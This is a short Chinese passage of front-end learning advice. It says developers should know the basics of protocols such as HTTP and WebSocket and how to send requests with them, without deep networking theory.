網路通信協議
由於前後端分離的趨勢,前端還需要了解很多網路通信協議的知識,這里不局限於http協議,因為據我的經驗,有時候我們還會用到websocket等協議。因此,前端需要簡單了解不同協議的特點以及使用方式,但是好消息是不用像學習計算機網路課程一樣對每種協議的原理都了解的特別透徹,只要學會如何用前端語言發送這種協議的請求就夠了。